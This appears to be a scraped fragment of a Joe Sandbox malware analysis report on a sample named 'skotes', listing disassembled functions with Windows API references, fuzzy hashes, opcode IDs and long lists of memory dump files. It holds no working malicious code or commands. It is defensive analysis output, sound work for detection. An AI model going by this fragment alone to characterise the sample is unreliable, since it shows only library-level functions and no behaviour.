Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: c5907ce16cf7c567be45e9752ddfc8fefefdc98ee9f4998f0a1193e4d6f7d8cd
Instruction ID: 9838bc203c2d3dc12e1c38bee8fd62ccba023bd2bc35fd542b746f867f73198a
Opcode Fuzzy Hash: c5907ce16cf7c567be45e9752ddfc8fefefdc98ee9f4998f0a1193e4d6f7d8cd
Instruction Fuzzy Hash: 9F11FE7290410DABDB10EE95C941EDF77FCAF18310F65526AE511E3180EB70EB49CB61

Function 001CAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001CAC8D

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 96179563f69fadcd13b3f221cd9879a3897555621f7bd9afafa90e407607067e
Instruction ID: 02853eb676a5c0f25f5bf4413c309e18ade3bab61097381f64a8400685701412
Opcode Fuzzy Hash: 96179563f69fadcd13b3f221cd9879a3897555621f7bd9afafa90e407607067e
Instruction Fuzzy Hash: 00111875A0420AAFCB06DF58E941E9A7BF5EF48304F054059F809AB351D730DD21CBA5

Function 001CB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,B33B1342,?,?,001AD3FC,B33B1342,?,001A7A8B,?,?,?,?,?,?,00197465,?), ref: 001CB07E

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 288755eb58bc1b62fbc0abfed84d35e366cf392c9963f2045b101eaa49752def
Instruction ID: 29acddbb5b936a3d0473a232f601c1ac58044d49e0bd873560692a63f08262d6
Opcode Fuzzy Hash: 288755eb58bc1b62fbc0abfed84d35e366cf392c9963f2045b101eaa49752def
Instruction Fuzzy Hash: 9EE06D35149A2696EB3132658DC2F6FB6689B723F0F161218FD25E61D0EB61DC2081E0

Function 001D1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,001D1B65,?,?,00000000,?,001D1B65,00000000,0000000C), ref: 001D1792

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3eaa4fad92513ce0c7376b7150e33f3b38b74bd438dffbf4f96d107b6515e851
Instruction ID: bdef125aa0e39d206f72cdc00189f80cd2a4c2b2a43d2d6abec61d97d2ceed69
Opcode Fuzzy Hash: 3eaa4fad92513ce0c7376b7150e33f3b38b74bd438dffbf4f96d107b6515e851
Instruction Fuzzy Hash: 60D0923205410DBBDF129E85DD02EEA7FAAFB48754F014100BE2866020C772E831AB94

Function 04AE0BF7 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304888013.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ae0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f656239c3067fa10287d7fe1e96002d5e9f64bf9a5049b47ac42b49766851a8
Instruction ID: e2634887ad3f3955b2dd15a676b9f4188a867bbf452b76e550bd90f6b857462d
Opcode Fuzzy Hash: 3f656239c3067fa10287d7fe1e96002d5e9f64bf9a5049b47ac42b49766851a8
Instruction Fuzzy Hash: 88319EFB24C030BEB04191576FA4AF75B3EE1D26303308826F827C5546F2D8AA4E2171

Function 04AE0DA2 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304888013.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ae0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df1c0d8af371df422b63cac73aedefccfbb02d4e2abef7e34c3be09116f69ed0
Instruction ID: 8ae833564883fdd09c76db0bdb55de1cfe8cca48521a56aa670cfe5d32026886
Opcode Fuzzy Hash: df1c0d8af371df422b63cac73aedefccfbb02d4e2abef7e34c3be09116f69ed0
Instruction Fuzzy Hash: 61E0E5B224C134DFC482366796D02B23E76A6272307B00635A0B35A685B2E976D1B681

Function 04AE0D98 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304888013.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ae0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32bb1975c63dca9df386ada92af41e214e3c8f07a445af307c5c80c575a1369e
Instruction ID: 61937e58ed857cf37ae4bbe316d0ee19a8f31cede063ef55249b2eb9457c704e
Opcode Fuzzy Hash: 32bb1975c63dca9df386ada92af41e214e3c8f07a445af307c5c80c575a1369e
Instruction Fuzzy Hash: B2E0DFB734C130DA88C2328B63C13F26E36A6236307704532F0B359B4671D9B7D17692

Function 04AE0DC3 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304888013.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ae0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15271e7facedf13107721286ae6ef5785d50e90ba16890fb1e03838082b4a407
Instruction ID: 1bb787ebb78b00c3ab5e505954399c06a5ec239636e8fd550453ed60403a46b0
Opcode Fuzzy Hash: 15271e7facedf13107721286ae6ef5785d50e90ba16890fb1e03838082b4a407
Instruction Fuzzy Hash: 35E026B734C034DD4482645792C02F71E22E2235303708922E0738D249F0CD76C2B6E0

Function 04AE0D8A Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304888013.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ae0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1933a7572bbf95b4240b9039a2532e56252da274292a1196b2e5b1f56d26fa
Instruction ID: 072257280175fe2a21db140ee31b77ae397907b590fefeb37f59129829b3b84f
Opcode Fuzzy Hash: 8b1933a7572bbf95b4240b9039a2532e56252da274292a1196b2e5b1f56d26fa
Instruction Fuzzy Hash: FAE0DFF334C130DB84C2224B53C13B22D36A6272307B04532B0B759B4671D8B7E07652

Function 04AE0DD6 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304888013.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ae0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffe80b401e58210c5c6abfb5f9b0e2836761d7ee680774ce27db2cf29f005e9b
Instruction ID: 3a6646ba9331d1599f82edb4477c2e993eda14dadf87d7a740ca323af103813c
Opcode Fuzzy Hash: ffe80b401e58210c5c6abfb5f9b0e2836761d7ee680774ce27db2cf29f005e9b
Instruction Fuzzy Hash: FCD0C2B324C074E90482215352D13B22E32A5276213640531A0B31D74AA0CE33A6B6A2

Function 04AE0E12 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304888013.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ae0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5f15eee6c45cb77e209c061b7ae785c55865069e0b54c1411e8179c9404d3f
Instruction ID: 243353680a6f2082c7fc921e25b1b12d0ee06cda104d0504474788d82ccb1c7a
Opcode Fuzzy Hash: 5c5f15eee6c45cb77e209c061b7ae785c55865069e0b54c1411e8179c9404d3f
Instruction Fuzzy Hash: 5BD0A7B628C074A44480302B12911B11D3651262207E049335063D9B4D70CD72D27155

Non-executed Functions

Function 001B0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001B0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001B0F62

Part of subcall function 001B265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 001B2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 001B0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001B0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001B103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001B106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001B10C1

Strings

(, xrefs: 001B0F22

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
